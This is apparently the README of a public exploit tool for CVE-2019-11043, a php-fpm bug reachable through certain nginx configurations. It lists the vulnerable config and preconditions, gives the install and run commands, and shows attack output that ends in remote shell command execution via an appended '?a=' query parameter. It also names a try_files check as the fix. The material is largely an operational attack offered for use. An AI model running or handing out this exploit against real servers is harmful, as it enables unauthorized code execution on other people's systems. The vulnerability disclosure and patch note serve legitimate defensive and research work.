What's this

This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).

What's vulnerable

If a webserver runs nginx + php-fpm and nginx have a configuration like

location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

which also lacks any script existence checks (like try_files), then you can probably hack it with this sploit.

So, the full list of preconditions is:

1. Nginx + php-fpm, location ~ [^/]\.php(/|$) must be forwarded to php-fpm (maybe the regexp can be stricter, see #1).
2. The fastcgi_split_path_info directive must be there and contain a regexp starting with ^ and ending with $, so we can break it with a newline character.
3. There must be a PATH_INFO variable assignment via statement fastcgi_param PATH_INFO $fastcgi_path_info;. At first, we thought it is always present in the fastcgi_params file, but it's not true.
4. No file existence checks like try_files $uri =404 or if (-f $uri). If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.

Isn't this known to be vulnerable for years?

A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like /avatar.png/some-fake-shit.php could execute avatar.png as a PHP script. This issue was fixed around 2010.

The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.

How to run

Install it using

go install github.com/neex/phuip-fpizdam

and try to run using phuip-fpizdam [url]. Good output looks like this:

2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

After this, you can start appending ?a=<your command> to all PHP scripts (you may need multiple retries).

Credits

Original anomaly discovered by d90pwn during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by beched.